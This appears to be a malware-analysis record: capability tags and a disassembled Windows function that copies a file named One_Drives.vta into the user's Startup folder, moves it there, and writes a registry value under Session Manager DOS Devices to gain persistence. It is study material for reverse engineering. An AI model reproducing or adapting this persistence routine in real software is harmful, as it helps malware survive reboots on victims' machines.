Function at 0x10005f30
Capabilities:
Copy file
Get common file path
Get startup folder
Move file
Set registry value
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5f4
mov eax, dword [0x1003802c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ax, word [0x1003363c]
mov word [ebp - 0x560], ax
mov cl, byte [0x1003363e]
mov byte [ebp - 0x55e], cl
mov edx, dword [str.One_Drives.vta]
mov dword [ebp - 0x1c], edx
mov eax, dword [0x10033644]
mov dword [ebp - 0x18], eax
mov ecx, dword [0x10033648]
mov dword [ebp - 0x14], ecx
mov dx, word [0x1003364c]
mov word [ebp - 0x10], dx
mov al, byte [0x1003364e]
mov byte [ebp - 0xe], al
mov ecx, 7
mov esi, str.C:ProgramDataOne_Drives.vta
lea edi, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x10033670
lea ecx, [ebp - 0x48]
push ecx
call fcn.100154db
add esp, 8
mov dword [ebp - 0x5c4], eax
mov edx, dword [ebp - 0x5c4]
push edx
call fcn.10015617
add esp, 4
lea eax, [ebp - 0x55c]
push eax
push 0
push 0
push 0x17
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x55c]
mov dword [ebp - 0x5b0], ecx
lea edx, [ebp - 0x354]
mov dword [ebp - 0x588], edx
mov eax, dword [ebp - 0x588]
mov dword [ebp - 0x5ec], eax
mov ecx, dword [ebp - 0x5b0]
mov dl, byte [ecx]
mov byte [ebp - 0x565], dl
mov eax, dword [ebp - 0x588]
mov cl, byte [ebp - 0x565]
mov byte [eax], cl
mov edx, dword [ebp - 0x5b0]
add edx, 1
mov dword [ebp - 0x5b0], edx
mov eax, dword [ebp - 0x588]
add eax, 1
mov dword [ebp - 0x588], eax
cmp byte [ebp - 0x565], 0
jne 0x10005ffb
lea ecx, [ebp - 0x354]
add ecx, 0xffffffff
mov dword [ebp - 0x5a8], ecx
mov edx, dword [ebp - 0x5a8]
mov al, byte [edx + 1]
mov byte [ebp - 0x568], al
add dword [ebp - 0x5a8], 1
cmp byte [ebp - 0x568], 0
jne 0x1000604d
mov edi, dword [ebp - 0x5a8]
mov cx, word [0x10033674]
mov word [edi], cx
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x578], edx
mov eax, dword [ebp - 0x578]
mov dword [ebp - 0x5b8], eax
mov ecx, dword [ebp - 0x578]
mov dl, byte [ecx]
mov byte [ebp - 0x569], dl
add dword [ebp - 0x578], 1
cmp byte [ebp - 0x569], 0
jne 0x10006091
mov eax, dword [ebp - 0x578]
sub eax, dword [ebp - 0x5b8]
mov ecx, dword [ebp - 0x5b8]
mov dword [ebp - 0x5c8], ecx
mov dword [ebp - 0x5cc], eax
lea edx, [ebp - 0x354]
add edx, 0xffffffff
mov dword [ebp - 0x5a4], edx
mov eax, dword [ebp - 0x5a4]
mov cl, byte [eax + 1]
mov byte [ebp - 0x56a], cl
add dword [ebp - 0x5a4], 1
cmp byte [ebp - 0x56a], 0
jne 0x100060dc
mov edi, dword [ebp - 0x5a4]
mov esi, dword [ebp - 0x5c8]
mov edx, dword [ebp - 0x5cc]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea eax, [ebp - 0x354]
push eax
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x48]
push edx
call fcn.100157cd
add esp, 4
lea eax, [ebp - 0x560]
mov dword [ebp - 0x5b4], eax
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x5a0], ecx
mov edx, dword [ebp - 0x5a0]
mov dword [ebp - 0x5f0], edx
mov eax, dword [ebp - 0x5b4]
mov cl, byte [eax]
mov byte [ebp - 0x566], cl
mov edx, dword [ebp - 0x5a0]
mov al, byte [ebp - 0x566]
mov byte [edx], al
mov ecx, dword [ebp - 0x5b4]
add ecx, 1
mov dword [ebp - 0x5b4], ecx
mov edx, dword [ebp - 0x5a0]
add edx, 1
mov dword [ebp - 0x5a0], edx
cmp byte [ebp - 0x566], 0
jne 0x1000615e
lea eax, [ebp - 0x250]
add eax, 0xffffffff
mov dword [ebp - 0x59c], eax
mov ecx, dword [ebp - 0x59c]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x56b], dl
add dword [ebp - 0x59c], 1
cmp byte [ebp - 0x56b], 0
jne 0x100061b0
mov edi, dword [ebp - 0x59c]
mov eax, dword [str.Startup_]
mov dword [edi], eax
mov ecx, dword [0x1003367c]
mov dword [edi + 4], ecx
mov dx, word [0x10033680]
mov word [edi + 8], dx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x57c], eax
mov ecx, dword [ebp - 0x57c]
mov dword [ebp - 0x5bc], ecx
mov edx, dword [ebp - 0x57c]
mov al, byte [edx]
mov byte [ebp - 0x571], al
add dword [ebp - 0x57c], 1
cmp byte [ebp - 0x571], 0
jne 0x10006205
mov ecx, dword [ebp - 0x57c]
sub ecx, dword [ebp - 0x5bc]
mov edx, dword [ebp - 0x5bc]
mov dword [ebp - 0x5d0], edx
mov dword [ebp - 0x5d4], ecx
lea eax, [ebp - 0x250]
add eax, 0xffffffff
mov dword [ebp - 0x598], eax
mov ecx, dword [ebp - 0x598]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x56c], dl
add dword [ebp - 0x598], 1
cmp byte [ebp - 0x56c], 0
jne 0x10006250
mov edi, dword [ebp - 0x598]
mov esi, dword [ebp - 0x5d0]
mov eax, dword [ebp - 0x5d4]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x560]
mov dword [ebp - 0x5ac], ecx
lea edx, [ebp - 0x14c]
mov dword [ebp - 0x594], edx
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x5f4], eax
mov ecx, dword [ebp - 0x5ac]
mov dl, byte [ecx]
mov byte [ebp - 0x567], dl
mov eax, dword [ebp - 0x594]
mov cl, byte [ebp - 0x567]
mov byte [eax], cl
mov edx, dword [ebp - 0x5ac]
add edx, 1
mov dword [ebp - 0x5ac], edx
mov eax, dword [ebp - 0x594]
add eax, 1
mov dword [ebp - 0x594], eax
cmp byte [ebp - 0x567], 0
jne 0x100062b3
lea ecx, [ebp - 0x14c]
add ecx, 0xffffffff
mov dword [ebp - 0x590], ecx
mov edx, dword [ebp - 0x590]
mov al, byte [edx + 1]
mov byte [ebp - 0x56d], al
add dword [ebp - 0x590], 1
cmp byte [ebp - 0x56d], 0
jne 0x10006305
mov edi, dword [ebp - 0x590]
mov cx, word [0x10033684]
mov word [edi], cx
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x580], edx
mov eax, dword [ebp - 0x580]
mov dword [ebp - 0x5c0], eax
mov ecx, dword [ebp - 0x580]
mov dl, byte [ecx]
mov byte [ebp - 0x56e], dl
add dword [ebp - 0x580], 1
cmp byte [ebp - 0x56e], 0
jne 0x10006349
mov eax, dword [ebp - 0x580]
sub eax, dword [ebp - 0x5c0]
mov ecx, dword [ebp - 0x5c0]
mov dword [ebp - 0x5d8], ecx
mov dword [ebp - 0x5dc], eax
lea edx, [ebp - 0x14c]
add edx, 0xffffffff
mov dword [ebp - 0x58c], edx
mov eax, dword [ebp - 0x58c]
mov cl, byte [eax + 1]
mov byte [ebp - 0x56f], cl
add dword [ebp - 0x58c], 1
cmp byte [ebp - 0x56f], 0
jne 0x10006394
mov edi, dword [ebp - 0x58c]
mov esi, dword [ebp - 0x5d8]
mov edx, dword [ebp - 0x5dc]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 5
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x100063f5
or eax, 0xffffffff
jmp 0x100064fc
lea edx, [ebp - 0x564]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x5e4], eax
lea eax, [ebp - 0x55c]
push eax
push 0x100336c8
lea ecx, [ebp - 0x458]
push ecx
call fcn.10001260
add esp, 0xc
lea edx, [ebp - 0x458]
mov dword [ebp - 0x584], edx
mov eax, dword [ebp - 0x584]
add eax, 1
mov dword [ebp - 0x5e8], eax
mov ecx, dword [ebp - 0x584]
mov dl, byte [ecx]
mov byte [ebp - 0x570], dl
add dword [ebp - 0x584], 1
cmp byte [ebp - 0x570], 0
jne 0x1000644f
mov eax, dword [ebp - 0x584]
sub eax, dword [ebp - 0x5e8]
mov dword [ebp - 0x5e0], eax
mov ecx, dword [ebp - 0x5e0]
add ecx, 1
push ecx
lea edx, [ebp - 0x458]
push edx
push 1
push 0
lea eax, [ebp - 0x560]
push eax
mov ecx, dword [ebp - 0x564]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x5e4], eax
mov edx, dword [ebp - 0x564]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [str..VTA]
mov dword [ebp - 0xc], eax
mov cl, byte [0x100336d4]
mov byte [ebp - 8], cl
mov edx, dword [str.KKLNNLPS]
mov dword [ebp - 0x28], edx
mov eax, dword [0x100336dc]
mov dword [ebp - 0x24], eax
mov cl, byte [0x100336e0]
mov byte [ebp - 0x20], cl
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xc]
push ecx
call fcn.10005a90
add esp, 0xc
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000cf0a
mov esp, ebp
pop ebp
ret